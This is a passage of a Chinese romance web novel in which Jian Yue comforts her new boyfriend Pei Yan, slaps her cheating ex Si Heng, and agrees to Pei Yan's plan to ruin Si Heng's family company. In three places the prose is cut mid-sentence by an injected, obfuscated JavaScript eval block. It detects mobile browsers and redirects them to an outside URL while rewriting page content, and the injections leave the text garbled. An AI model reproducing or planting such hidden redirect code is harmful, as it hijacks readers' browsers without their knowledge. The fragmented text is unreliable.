简月挨着他坐下,拧掉药膏的盖子,抹了一点在指尖,轻轻涂向他的伤口。 肌肤相触的一瞬间,男人呼吸轻了轻。 她的力道和动作很温柔,半点不像生气的样子,倒像是…… 心疼。 两人沉默片刻,裴言开口:“我以为你生气了。” 简月点头:“我是生气了。” 药膏彻底晕开,她收回手,盯着他道:“裴言,我讨厌你什么都不说的样子。” 裴言愣了一下,竟然笑了:“不好看。” “那又怎样?” “你说我好看。”他顿了顿,“现在受伤了,不好看了。” “……”简月有被气笑到。 她反问:“我是因为你好看才跟你在一起的?” 男人眼里漾出笑意:“现在我知道了,不是。” 简月气得更想笑了:“我在你心里就这么肤浅?” 他摇摇头:“不是,我怕吓到你。” “并不会,我又不是没见过人打架。”她收好药膏,又取出另一个盒子,“说吧,怎么弄的,谁打的你?” 男人沉默了会儿,回答:“司衡。” 简月瞬间握紧了手里的盒子,纸盒在力的作用下渐渐变形。 她问:“为什么?” 裴言注意到她捏盒子的手,回答:“他让我离你远一点。” 他淡淡一笑:“我没有答应,所以。” 后面的话不用多说,两人也心知肚明。 “我知道了。”简月低头,从捏烂的盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958547|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子中取出另一种药膏,拧开抹在手指上,往裴言脸上的淤青涂去。 这次肌肤相触的瞬间,男人皱了下眉。 简月立刻收手,紧张道:“很疼吗?” 裴言摇了下头,忽而答非所问道:“司衡说我在利用你,我会伤害你,简月,你信吗?” 简月低下头,叹了口气:“不信。” 她将药膏抹匀了些,重新往裴言脸上的淤青处涂去,这一次的动作轻了很多,小心翼翼的。 “我有自己的眼睛去看,我有自己的脑子去判断,裴言,你如果再不相信我,我就真的要生气了。” 他心里颤了颤,应道:“嗯,对不起,以后不会了。” “不会什么?说清楚。” “不会再骗你,也不会不相信你。” 她笑起来,满意地点头:“嗯,记住了,你才是我现在的男朋友,你和他之间,我当然站你。” 这是裴言第一次这么明确地感受到简月的偏爱。 在他和司衡之间,她偏爱他。 他滚了滚喉结,几乎有些不知所措了。 淤青处也上好药后,简月盖上盖子,凝神看了一会儿裴言的脸。 其实只是脸颊多了点浅浅的淤青,额头蹭了个小伤口而已。 他怎么会觉得不好看呢? 明明底子还在,明明伤口过几天就会消失。 被她这样盯着,男人的眼神又渐渐变得不自然。 他微垂眼眸,说:“别看了,不好看。” “不觉得。”简月堵了回去,接着道:“头低一点,过来一点。” 男人依言,俯身低头。 简月搭上他的肩,微微探身,亲在了男人的眼角处。 正好吻在泪痣上。 吻落下去的一瞬间,他的长睫快速颤了颤,呼吸的频率随之变快,连眼睛也不敢相信地睁大了些。 简月又亲一亲他额头没有伤口的地方:“不难看的,听说过情人眼里出西施吗?就算司衡打了你,你也比他好看多了。” 男人骤然抬头。 他的眼里涌起一种近乎炙热的情绪,接着笑了。 他用力抱住她,低哑的声音响在耳边:“嗯,记住了。” “哄好了?那换我了。”简月说,“和男朋友在一起的第三天,他就躲起来不肯见我了,你说这是正常人能干出来的事吗?如果我不来找你,你就真打算这几天都不见我了?” 他一哽:“我也不想的。” “还有,你的谎言也太好戳破了,只瞒我不瞒助理,你就没想过我会去问他?” 他抱她的动作越来越紧:“你想要什么?只能我能给得起,我都给你。” 被他的话逗笑,简月忍不住道:“我不想要什么,我只想要你有什么事能告诉我,别瞒着我。你不告诉我,我怎么给你撑腰呢?” “……”裴言松开手,低头看她,“什么?” 简月眨了眨眼:“撑腰,给你撑腰啊。” * 晚上八点,司衡从公司离开,还没走到停车的位置就看到了一个熟悉的身影。 简月,他一辈子也忘不掉的女人。 她站在车旁,看到他过来,脸上露出了一个意味不明的笑容,接着,她伸出手,四指并齐,手心向里,朝他勾了勾手指。 司衡的心跳了跳。 这是分手近两个月以来,她第一次主动找他。 她还是那么引人注目,浑身上下散发着张扬的自信,一次又一次地让他为之心动。 他无法控制地向她走去,眼里透出光亮,欣喜道:“阿月?你是来……” 话未说完,一个巴掌对着他的脸狠狠甩了过来。 他被打得偏过头去,看不到她的表情,只听到她冷冷的声音。 “我的人,我让你碰了吗?” 21. 骄傲-21% 停车场窒息一般的安静。 司衡保持着偏头的姿势,久久没有转回来。 他脸上和裴言一样,多了伤口和淤青,只是他的看起来比裴言更严重些。 此刻在一巴掌的作用下,脸颊上的伤口渗出血丝,显出几分狼狈。 不知他是被打懵了还是在想什么,半晌,他慢慢转过头来,眼神发寒:“简月,这是你第一次打我。” 他一字一字,咬牙切齿:“竟然是为了裴言。” “如果不算那两杯酒的话,确实是第一次。”简月不甘示弱,回以冷笑。 司衡伸手,摸了摸被打过的地方,当摸到脸上渗出的血后,他的脸色难看起来。 “你的人?简月,你真的和他在一起了?你喜欢上他了?” “怎么,见不得我好?你自己背叛我,还不许我谈别的男朋友了?”说到最后,她加重了“男朋友”的咬字,音量陡然提高。 意外的,听到“男朋友”三个字,司衡不怒反笑,他抬起头,眸中的不悦竟然淡了:“这么激动,你在逃避我的问题?” “看来你对他的感情也不怎么样。” 他取出一张纸开始擦指尖的血丝,慢慢道:“让我猜猜,是他用尽心机手段说喜欢你,然后你觉得自己不讨厌他,就顺势答应他了,对吧?” 不,不对。 裴言没有用什么心机手段,她对裴言也不止是…… 不止是不讨厌。 “跟你有关系吗?” “当然有关系。”司衡擦完手,重新抬头看她,语调轻下来,有几分温柔,“阿月,我们在一起那么久,我怎么会不了解你。” “你只有真心喜欢一个人时,才会舍得说一句喜欢,没有说,就是不喜欢。刚才我问你喜欢他吗,你逃避了,显然,你对他还没什么感情。” 他的语调愈发温柔,似彻底忘了被扇巴掌的痛:“既然没什么感情,那现在分手还不晚,简月,他可不是什么好人。” 平心而论,司衡确实有几分了解她,也确实看穿了她几分。 但她向来不会别人说什么就信什么,别人说什么就做什么。 她只相信自己的判断,所以她最讨厌的,就是别人替她做决定。 “就凭你?你有什么资格替我做决定?”简月轻笑一声,像是听到一个笑话,“我不。” 司衡仍然不恼,半眯起眼睛看她:“裴言是什么时候来找你的?第二天,第三天,还是一周后?简月,你真的相信这样一个人刻意接近你,没有任何的居心?” “有居心又怎样?他承认了,我不介意,这你也要管?” “他承认什么了?” “他喜欢我。”简月肯定道。 似乎没想到会听到这样一个答案,司衡的表情僵在脸上,他怔了怔,费解道:“他喜欢你?怎么可能?这样的理由你也相信?你和他才认识几天,才见过几次,他怎么可能喜欢你!” 他骤然上前一步,急速拉近和她的距离:“绝对不可能!你怎么会被他这么肤浅的理由蒙蔽?阿月,你到底懂不懂,他就是在利用你来扰乱我!” 随着他的靠近,他身上的气息也一并逼近了她,明明还是熟悉的感觉,熟悉的味道,可她皱皱眉,下意识的反应竟然是退开一步,抗拒他的接触。 也因为这一退,他抓她的肩膀抓了个空。 看着他僵硬和不解的神情,简月的语气带上几分讥讽:“为什么不相信?喜欢我的人多了,一见钟情我的人也多了,我为什么不能相信?还是说没人喜欢你,你体会不到这种感觉,所以才觉得不可能?” 这话说得难听,司衡脸色一变。 他闭了闭眼,开口道:“好,你说他喜欢你,那你知道林曼的事是谁告诉你的吗?” 林曼? 她反应了一秒,司衡已接着道:“不知道吗?那我告诉你,是他做的。” “你不是说他喜欢你吗,那你又知不知道他是裴文州私生子的事。” 简月愣了愣,睁大眼睛。 这幅反应被司衡尽收眼底,他眼里多出几分把握和得意:“你看,他什么都没告诉你,他对自己的过去和做过的事极尽隐瞒,这样的人,你凭什么相信他的喜欢是真的?” 那条iMessage消息是裴言发的? 他不是否认了吗? 还有……他是私生子? 脑海里闪过他们飙车去郊区时裴言飘忽不定的笑容。 难怪那个时候,他提起裴文州是那样的语气和神态。 她久久没说话,司衡继续:“阿月,他和我们不是一类人,他就是莫名其妙缠上我的一条疯狗你知道吗?谁知道他为什么会那么恨我!” “他那么恨我,又亲眼看着我们在一起那么久,怎么可能真心实意喜欢你……” 话未说完就被打断。 司衡低下头,看到一只揪住他领子的手。 “说够了吗?当着我面骂我男朋友,你以为你是谁?”简月的眼睛里氲出怒意。 疯狗?司衡凭什么说裴言是疯狗? 她的男朋友什么时候轮到别人骂了? “他发的,那又怎样?你背叛了我你还有脸怪别人?我还要好好谢谢他呢,谢谢他让我看清你是个什么垃圾货色!”她继续道。 最后四个字说出口,司衡脸色沉下去,隐隐动了怒。 他呼吸急促,似在忍耐,简月笑声轻蔑:“几年前我们初见我就不怕你,现在我也照样不怕,司衡,要不要我提醒你,我们分手了,请你离我和我的男朋友远一点。” “还有,他的过去他想说就说,不想说就不说,那是他的自由,用这种事来衡量一个人的真心,你未免太可笑!” 司衡的呼吸越发急促,终于,他闭了闭眼,拿开她的手,反握上她的手腕:“你为什么这么向着他?” 他额头青筋跳动,气得笑出了声:“你是为了报复我才和他在一起的对不对?如果是,那你成功了,但我还是要说,除了他,你和谁在一起都可以,唯独他不可以!” 手腕被司衡越握越紧,简月气急:“松开!你别给自己脸上贴金了,我为什么要用牺牲自己的方式来报复你?你配吗?” “司衡,你松开!你管我和谁在一起!” 司衡没有松,看她的眼神一沉,竟然慢慢冷静下来:“是吗。” 他慢慢开口,嗓音中有隐隐的疯劲儿:“如果我让他一无所有呢?你也坚持和他在一起吗?” 被他的想法震住,简月愣了一秒才嗤笑:“谁让谁一无所有?你有那个本事吗?” “我没说亚恒。”司衡眯起眼睛,勾了勾嘴角,“我说的是裴言。” “你真以为裴文州会那么放心地把一切都交给一个私生子?我们在江市这么多年,谁听说过裴言这个名字?你以为裴文州很在乎他吗?” “毁掉亚恒是不简单,但毁掉裴言,很难吗?” “你!”简月挣不开被握住的那只手,狠狠瞪着司衡。 私生子私生子,不知道为什么,她听到这三个字就是觉得刺耳。 可偏偏被司衡一遍遍地提起。 “你疯了吗?你要对他做什么?”简月说。 “怎么,恨我了?”司衡说,“没关系,我不怕你恨我,没有爱哪来的恨?” 他竟然在笑,说话的语调温柔又渗人:“不能和你在一起,得不到你的爱,能得到你的恨也不错,毕竟有的时候,恨比爱长久。” 简月不可置信地看着他,只觉得他的精神状况好像有些不正常了。 她正想说什么,司衡出乎意料地放开她的手腕,仍用诡异又温柔的语气说道:“没关系,你不和他分手,那我就让他没有能力再伤害你好了。等他一无所有,你自然就能看清他的真面目了。” 桎梏解除,她像看疯子一样看他几眼,后退几步,毫不犹豫转身离开。 走了两步,身后响起男人的声音:“阿月,你放心,我不会让任何人伤害你的。”他一字一顿,“我一定会让他一无所有。” 简月脚步一顿,回头:“你也放心,如果真有那么一天,我就不止是在这里扇你巴掌这么简单了。” 离开停车场坐进车里,简月双手撑在方向盘上,沉沉吐出一口气。 刚刚司衡的语气神态还让她心有余悸。 什么叫“不能和她在一起,能得到她的恨也不错?” 什么又叫“他不会让任何人伤害她的”? 难道不是他先出轨,他先主动伤害了她吗? 难道不是他主动放弃了和她在一起的机会,不是他伤害她伤害得最深吗? 简月想得头疼也没想通,最后只能归结于,司衡这段时间可能受了什么刺激,脑子出问题了。 * 车开上路的时候,简月顺手用蓝牙给裴言打了个电话。 他很快接起,声音是她熟悉的低沉动听:“怎么了?” “晚上有空吗?” “有。”他回答得很快,接着又问一遍,“怎么了?” “我去找你。”她看一眼时间,“半个小时就到。我现在在开车,见面再说吧。” “好,那我等你。” 半个小时后,简月如约将车开到了裴言所住的小区门口。 小区很高级,门禁森严,少有人走动,她忘了这样的外来车进不去,发愁得正准备给裴言再打个电话,就看到旁边的侧门被打开,有人捧着花走了出来。 裴言今天没穿西装外套,换成了一件黑色的风衣,衣领立起,为他气质添了几分锋芒,可偏偏他的手里捧了一束火红热烈的红玫瑰。 黑色雕花路灯散发出柔和的光芒,似铺了一层暖黄的滤镜,空旷无人的正门前,只有他向她走来。 浓烈的色彩对比,像文艺复兴时期华丽的艺术作品。 这一刻,气氛安静美好到极致,时间也仿佛被调慢,犹如电影里的慢镜头。 直到他走到主驾的车窗旁,简月才眨了下眼睛,如梦初醒。 她摇下车窗,看到他脸上还没好的伤和淤青,忍不住笑了笑:“你怎么出来了?” “来接女朋友,顺便送花给她。”裴言将花递向她。 已经是晚上九点,可红玫瑰还娇艳欲滴,仿佛清晨刚摘下来的一样。 也不知道短短三十分钟他从哪里搞来的这么新鲜的花。 “嗯,很漂亮。”她看完玫瑰又问他,“不是来接我的吗,怎么进去?” “不在这里。”他微笑,拉开车门示意她下来,“我开吧。” 于是简月下车,接过玫瑰,乖乖坐上副驾。 看着车一点点后退,向左边开去,她好奇道:“既然车不从这里进,为什么助理过来走的是这个门?” “他们那是即停即走,你不一样。”裴言说,“我带你去车库停。” 几句话的功夫,车已拐了个弯,驶进了另一个门。 只是在进门之前,简月看到他取出手机点了个什么东西。 “你点了什么?门禁吗?” “嗯,以后你就可以自由出入了。”他语调轻轻上扬,似有笑意,“你可以随时过来。” 反应过来他什么意思,简月的脸烫了烫。 她看着后视镜里的自己,脸色在红玫瑰的衬托下红润了不少。 和花一样,生动又鲜活。 半晌她才不自然地“嗯”了一声。 在车库停好车,裴言牵起她的手,带她向电梯的方向走去。 他问起来意:“找我什么事?” “我有话想问你。” “嗯,你说。” “我想到家的时候再说。” 不知是哪个字戳中了他,男人微微愣了一下,一瞬后才回神,点头道:“也好。” 坐电梯来到八楼,走到门前,裴言没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009887|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急着进门,反而弯下腰,在门锁上点了几下,然后向她伸手:“手给我。” 简月将手交给他。 手指被他带着,按在指纹感应的位置,一下,两下,三下。 系统发出添加成功的提示。 接着第四下,门开了。 看着向她敞开的门,简月才后知后觉地有了实感。 今晚因为司衡的事,大脑一直乱糟糟的,她看着裴言给她添加指纹,好一会儿才理解过来他什么意思。 眼看就要进门,她急忙按住裴言的手腕:“等等。” 男人停下来,不明所以地看她。 她看看指纹锁,又看看裴言:“你就这么放心我?”她觉得不可思议,“我们在一起的时间连一周都没有,你这么放心地让我随意出入,就不怕我顺走你什么重要的东西?” 裴言愣了一下,接着笑了:“不怕。” 他领着她进门开灯,然后伸手去拉她身后的门,与此同时,他说:“人都是你的了,还怕东西?” 含着笑意的声音,正好落在耳边,呼出的气流擦过她耳垂,痒痒的,瞬间让她耳根红了一片。 而裴言已收了手站直。 他换好鞋,接过她手里的花放在一边,然后弯腰从鞋柜里取出了一双新的拖鞋。 一双女士拖鞋。 他主动解释:“我一个人住,家里的东西都是一人用的,你早上来过后我才临时去买了给你用的东西,这些都是新的,没人用过,你放心。” 顿了顿:“除了拖鞋,还有水杯和洗手的毛巾,我也给你买了新的,哪里不喜欢或者哪里不够你再告诉我,我重新买。” 简月看着地上的拖鞋,哽了哽。 来之前,她想了很多个问题要问裴言,可从下车到现在,看着他给她开了车库的权限,门上的指纹锁,家里的日用品,她突然觉得,很多问题都没那么重要了。 作为他的女朋友,她其实应该好好了解一下他。 如果他愿意说,那她就听; 如果他不愿意说,那她也尊重他。 简月笑了笑,弯下腰去换鞋:“嗯,很漂亮,我很喜欢。” 换好鞋后,裴言接过她的外套,和自己的黑风衣一起挂在了衣架,接着又问一遍:“这么晚来找我,怎么了?” “没什么。”她摇头,“就是想来看看你。” “是吗?”裴言蓦地笑开,“那你慢慢看。” 他走到桌旁倒了杯水给她:“渴不渴,喝点水吧,温的。” 简月接过却没有喝,只是捧着水杯怔怔盯着他看。 “有心事?还是有什么事想问我?”男人显然看出了她的不对劲儿。 他帮她拉开椅子:“坐下说。” 简月坐下。 她喝一口水,看着裴言也坐好后,问出了第一个问题:“那条iMessage信息,是你给我发的吗?” “还以为是什么大事……”裴言失笑,坦荡道,“是我。” 他没有再骗她,简月心里微安,继续问:“可我第一次问你的时候,你说不是。” “因为时机不合适。”他解释,“我提醒你当然是因为我喜欢你,可如果我一开始就直说,你会怎样?你还会再理我吗?” 简月:“……” 不得不承认,裴言说的有道理。 就像他后来说的,等她发现他的喜欢,主动问起他时,才代表她愿意和他在一起了。 真是怪了,她怎么连这么简单的逻辑都想不明白了。 她心里轻快几分,单手撑起下巴,接着问:“我还能问你别的吗?” “当然。”他微微弯起眼睛。 “嗯……”她认真想了想,“我的生日你知道了,那你的生日呢?” “1月31,比你大半岁。” “你喜欢什么颜色?” “黑色,浅黄色。” “喜欢吃什么?” “没有特别喜欢的。” …… 连续问了几个问题后,裴言又笑了,打断了她的提问:“怎么都是这些无关紧要的小问题?”他眼里笑意加深,“你今天好像对我很感兴趣?” “因为我想多了解你一些啊。”简月笑吟吟道,“比如我的名字是月,寓意明月,你呢,你的名字是什么寓意?” 这句话说完,男人脸上的笑肉眼可见地淡了一些。 她捕捉到这份变化,心里一沉:“怎么了,是不是不方便说?如果不方便的话就算……” “不是。”裴言摇头,“没什么不能说的,我的名字……”他顿了顿,“没什么寓意。” “没什么寓意?” “嗯,是我母亲翻字典随便点的。” 简月的心揪了揪。 既为他名字的来源,也为他生疏的称呼。 这么正式的称呼,她只在一种情况下见过。 “你妈妈对你不好吗?”她问。 否则为什么会给自己的孩子取那么随便的名字? “一般吧。”他脸上的笑不知何时敛了下去,语气淡淡,“我很少见到她。” “她不管你吗?” “她已经不在了。” 简月的心又是一揪,立刻放下杯子去握裴言的手:“抱歉,我不知道。” “没关系,我不介意这些。”注意到她的动作,他回握住她的手。 “裴言。”她犹豫着开口:“你愿意给我讲讲你的过去吗?” 男人沉默下来。 才营造起来的温馨气氛在沉默中渐渐散去,简月觉得不安,有种自己说错话了的感觉,她抿抿唇,补充道:“不愿意说的话就算了,反正我尊重你,你想说就说,不想说就不说。” 裴言还是没说话。 他看着她,不知在想些什么 许久,他轻叹一口气,问道:“你今天,是不是见过司衡了?” 22. 骄傲-22% 敏锐如裴言,不过片刻就发现了她的异样。 被他点破,简月有种松一口气的感觉——她本来也没打算瞒他。 她点点头:“他……提起了一些你的事。” “什么事?” 他的脸上没有丝毫不快,说话的声音又轻又缓,无形中安抚了她的紧张。 简月说:“你和你父母的事。” 裴言淡淡笑出来:“就这个?” 这幅反应完全出乎简月的意料,她愣了愣,反问:“你怎么这么淡定?” 不是被戳中伤口的痛,也不是被窥探秘密的恼羞成怒。 竟然是淡定。 “那我应该是什么反应?”男人反问,“他跟你说我是私生子了?” 再一次听到“私生子”三个字,简月的胸闷了闷。 每个人的出生都是无法选择的,如果可以,谁不想出生在一个幸福圆满的家庭,健康快乐地长大? 她不喜欢“私生子”这三个字,也不喜欢这三个字所带来的恶意。 司衡这么说她还能理解,可为什么裴言自己也能若无其事地提起这三个字? “看来是了。”男人观察着她的神色,“看你的表情欲言又止的,是不是还有别的想问?你问吧,我不骗你。” 简月没说话,挪了椅子坐到他旁边,握上他的手才紧张道:“你父母的错和你无关。” “我知道。”他看一眼被握住的手,缓缓道,“其实我也不觉得他们有什么错。” “他们年轻的时候在一起,后来分开,我只是他们分开后的一个意外而已。”男人的语气非常平静,仿佛只是在转述一件别人的事,“意外这种事情,谁又能说得准。” “你不难受吗?”她忍不住问。 裴言摇头。 “因为是意外,所以他们才不管你吗?” “倒也算不上不管。”他看着她淡淡而笑,“我这不是好好坐在你面前了吗?” 可长大的方式有千百种,最好和最坏的那一种,天差地别。 简月心里隐隐发涩,即便裴言没有明说,她也能猜出他是怎样长大的。 “他们对你不好,你会怪他们吗?” 他轻轻摇头:“我不会在无意义的事情上浪费时间,既然他们对我没感情,那我也不会对他们抱有奢求和期待。没有奢求和期待,我又何必怪他们。” “可他们是你的父母,他们难道不爱自己的孩子吗?” 裴言看她许久,笑了:“父母又怎样,这世上本来就没有人天生会爱另一个人。” 他的眼睛也在笑,可简月却觉得笑意之下有股深不见底的悲伤。 那股悲伤攥紧了她的心,让她的心一阵阵发疼。 裴言说得没错,这个世上本来就没有人天生会爱另一个人,即便是父母,在成为父母前,他们首先也是独立的个体。 就如江颖,她固然爱她,可她也会在深夜时分冒出抛下一切为自己而活的想法。 可她不曾想到,还有一种父母是连感情和爱都吝啬于分给自己的骨肉的,他们只在乎自己,只为自己而活。 她不能理解,她理解不了。 裴言越是风淡云轻,越是不在乎,她的心就越疼。 她几乎是脱口而出:“以后我对你好,好不好?” 男人的手指颤了颤。 简月继续:“对了,我还没告诉你,今晚我去见司衡的时候,顺手甩了他一巴掌。”她将他的手握得更紧,“谁让他打我男朋友。” 裴言愣了愣,冷静如他也不禁错愕:“你打了他一巴掌?” “当然,我还发现他脸上的伤比你严重。”说到此,她微微得意,“还是我男朋友比较厉害。” “你一点都不在乎他了?” “当然。”简月回答得毫不犹豫,“不值得的人就要立刻舍去,我现在对他只有讨厌。” “……”男人深深望着她,似想起很多,眸中千言万语,到嘴边却只剩下一句,“你愿意保护我,我很高兴。” 十年前,十年后,她都一如既往地在保护他。 “你是我男朋友,我不保护你保护谁呀?”她歪了歪头,笑意盈盈。 他也笑:“那作为男朋友,我也可以保护你。”不同于十年前一无所有的少年,他现在已经有足够的能力保护她了。 裴言说:“我不会让任何人伤害你的,你相信吗?” …… 从不同的人口中听到相同的话,简月不由愣了一下。 就在一个小时前,司衡也这么对她说过。 彼时她听到司衡这么说,只觉得荒谬可笑,可现在,同样的话从裴言口中说出,她竟然觉得心动。 男人的眸色黑沉沉的,灯光落下来,所有的尖锐冷硬都被藏起,变得柔和,明明只是一个眼神,什么都没有说,却无端让她有种“她是他的全世界”的错觉。 深情得几乎让她溺进去。 “我信。”她情不自禁道。 “可是比起我……”想起司衡最后撂下的狠话,她担忧道,“我觉得司衡会先伤害你。他好像很恨你,打算通过你爸爸来对你做点什么。” “裴言,你爸爸会相信外人吗?” “裴文州?”他忍不住笑了一下,笃定道,“不会。” “他会站在你这边是不是?” “是。”裴言点头又摇头,“但理由和血缘无关。” “……”简月没反应过来,张了张嘴,“什么意思?” “他怎么跟你说的?说裴文州不会放心把亚恒交给我是不是?说我只是私生子,他稍微用点功夫就能挑拨我和裴文州,是吗?” 他笑容淡淡:“某种程度上他想得没错,不过他高估了裴文州对我的感情。” “裴文州和我之间,靠的不是亲情,而是合同。” 亲情淡薄,所以一击即破;可若是合同,有了利益捆绑,就会变得难以撼动。 简月睁大眼睛望着他,明明听懂了他说的每一个字,可就是无法理解最后组合出来的意思。 ……合同? 什么叫靠的是合同? 明明是亲生父子,身上流着一样的血,可他们之间竟然像陌生人一样,要靠冰冷的合同来维系利益? 何止是司衡高估了裴文州对裴言的感情。 她也是。 明明已经知道答案,可简月还是忍不住,又问了一遍:“你真的不会难受吗?” 要经历过多少次失望才会变成如今的麻木? 从来没有得到过父母的爱,他真的不会难受吗? 他究竟是怎么长大的? 她甚至不敢想如果江颖和简怀英不爱她,她如今会变成什么样子。 心里的涩疼越来越重,让她胸闷得几乎无法呼吸。 “不会,我不在乎他们,所以也不会因为他们而难过。”裴言用空着的手帮她理了理碎发,然后用一种深刻到极致的眼神看着她说,“这世上能伤害我的,只有一个人。” 剩下的话他没有说,但简月看着他的眼睛,明白了他的答案。 ——是她。 他喜欢她,在乎她,所以她才是那个唯一能伤害到他的人。 如今他将这些都告诉了她,就等于,他亲手将能伤害他的刀递向了她。 简月哽了哽,觉得胸腔中有什么汹涌的感情爆发了出来。 她冲动地抱住他,声音闷闷道:“嗯,那你可以放心了,我不会伤害你的。” 她会保护他。 就像今晚一样。 被她猝不及防地抱住,男人身体一僵,缓缓环住她的腰,没有说话。 简月继续说:“你之前不是说,你有办法搞垮司衡吗?”她声音坚定道,“裴言,你去做吧。” “想好了?” “本来也没什么犹豫的,他脚踏两条船的那口气我还没咽下去,就算没有你,我也迟早会找到机会推他一把,再者说……” 顿了顿,她声音低低道:“我怕司衡伤害你,你早点出手,他就没机会伤害你了。” 裴言轻笑:“在担心我?” “嗯。”简月大大方方地承认,“担心你。” 这句话说完他反倒不笑了。 简月脸埋在他怀中,看不到他的表情,只能感觉到他将她抱得更紧了。 一种将她完完全全占有在怀中的拥抱姿态。 默了会儿,他将话题引向别处:“就不好奇我有什么办法吗?” “嗯,什么办法?”她想了想,“是资金链断裂,还是他们偷税漏税?” “是法人违法。” “违法?”她愕然,“司衡还是司知行?” “司知行。”裴言解释,“他还没有完全将公司交给司衡,所以创世的法人还是他。”顿了顿,“我也是前段时间才查到关于他的陈年往事的。” “嗯?什么事?” “代孕。” 简月愣住。 竟然是代孕。 ……对了,她好像的确没见过司衡的母亲。 偶尔问起,司衡也是一副不愿意多提的样子。 至于司知行—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044711|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她只见过他三次。 一次是司衡求完婚,带她回家见家长,一次是订婚宴,最后一次,则是个普通的周末,司衡带她回家吃饭。 印象里,司知行是个不苟言笑的中年人,对她的态度算不上好,也算不上不好,从始至终都淡淡的,连订婚宴上也没有露出过笑容。 那时她还以为是司知行性格如此,可现在看来…… 恐怕又是因为孩子的事。 得出这个结论,简月已没有什么意外。 也是,像她这样不想要孩子的人,除了司衡,他家里大概率也是接受不了的,甚至他家里还会反过来向司衡施压,让他和她分手。 简月垂下眼眸,觉得荒谬。 是啊,一个做出代孕那种丧失人性的事的人,怎么可能接受她不要孩子,怎么可能真心接纳她呢? 所以,司衡才会在司知行与她之间选择了司知行,选择了另一个能给他孩子的女人。 前因后果都仔细捋了一遍,简月忽然发现自己心里连一丝波动都没有了。 她早就不会因为和司衡分手而难过了。 要说有什么别的情绪波动,那也只是想看司衡和司知行跌下去而已。 司知行是活该,至于司衡,他想要孩子,她不怪他,她唯一愤怒的点只在于为什么不能和她说清楚,为什么要脚踏两条船。 一边吊着她,一边和别的女人有了孩子,世界上哪有这么好的事? 他既然敢做,那就要做好承担后果的准备。 “代孕。”她轻轻重复,闭上眼道,“活该。” 裴言没有多说,但她一点就透,已然明白过来他说的方法是什么意思。 严格来说,法人的个人行为并不会连带到公司,但人是社会动物,法人如果被曝出这种事,对公司的风评和口碑都会造成巨大的不可逆的负面影响。 舆论发酵后,才是真正出手的时刻。 负面影响的违约金,不断终止的合作,像创世这种体量的公司,哪怕资金链只断裂几个小时,都会造成不可估量的后果,足以让他们一蹶不振。 又抱了裴言一会儿,简月问:“这件事不是小事,你有把握吗?证据充足吗?” “嗯。交给我吧。” 他只说了这么一句,简月却奇异地安下心来。 仿佛他这么说了,结果就一定会如他所愿。 毕竟她看过他和司衡交锋的样子,也看过他处理工作的样子。 她相信他。 简月忍不住笑了,从他怀里抬起头来:“那我可以看你整合的证据吗?” 男人点头:“只要你想。” 她眼里笑意更深:“我有时候会觉得你对我是不是太好了点。” 几乎可以称之为纵容和有求必应了。 男人失笑,借了她的话来回她:“你是我女朋友,我不对你好对谁好?” “是吗?”她弯起眼睛,“那你会做饭吗?你女朋友饿了,想吃你做的饭,可以吗?” 他摸摸她的头:“可以,十分钟,我现在就去做。” 裴言做了一碗面给她。 平心而论,他手艺很不错。 面煮得火候刚刚好,吃起来很筋道,虽然没有放辣椒,但味道很鲜,能尝出几分食物本来的味道。 而烹饪的最高境界,就是让人吃出食物本来的味道。 “你做的饭真好吃。”她故作忧伤地叹气,“我都不会做。” “所以你想表达的意思是?”他撑着下巴坐在对面看她吃,好笑道,“想学还是想让我给你做?” “我讨厌做饭。”她理直气壮,“切菜好麻烦,下锅也好麻烦。” 她可是从小到大都十指不沾阳春水的。 “那不是正好,我会做就够了。” 所以啊,她对这个男朋友是越来越满意了。 简月笑着反问:“如果我想吃的你不会做呢?” “那就学了给你做。” 他说得毫不犹豫,简月眉心一动,顿了顿才笑着应道:“好啊。” 吃完饭已经是十点,裴言送她回了家。 在楼下分别的时候,他跟着她下了车。 她自然认为他是想目送她上楼,于是挥了挥手,提醒道:“好啦,别看了,我上去了,你也早点回去吧,记得按时吃药上药,明天我找你检查!” 裴言却罕见地没有应。 他定定看了她几秒,忽然向她走来,伸出手—— 将她完全拥入了怀中。 男人低哑的声音落在耳边:“再抱一下。” 23. 骄傲-23% 简月回到家的时候,脸还是热的。 她靠在门上没有开灯,心跳声在黑暗中格外清晰。 好一会儿,她摸黑取出手机,给姜予彤发了条消息。 简月:[我最近好像对他有点上头。] 没有直呼其名,而是用了一个暧昧的“他”。 隐晦的代称,一如她隐晦的心动。 * 第二天,一个热搜词条从不起眼的角落开始攀升。 简月早上照旧开车到裴言的小区,还没进门就和急得团团转的助理撞上。 他捧着手机,满脸愁容。 “怎么了?”简月上前问道。 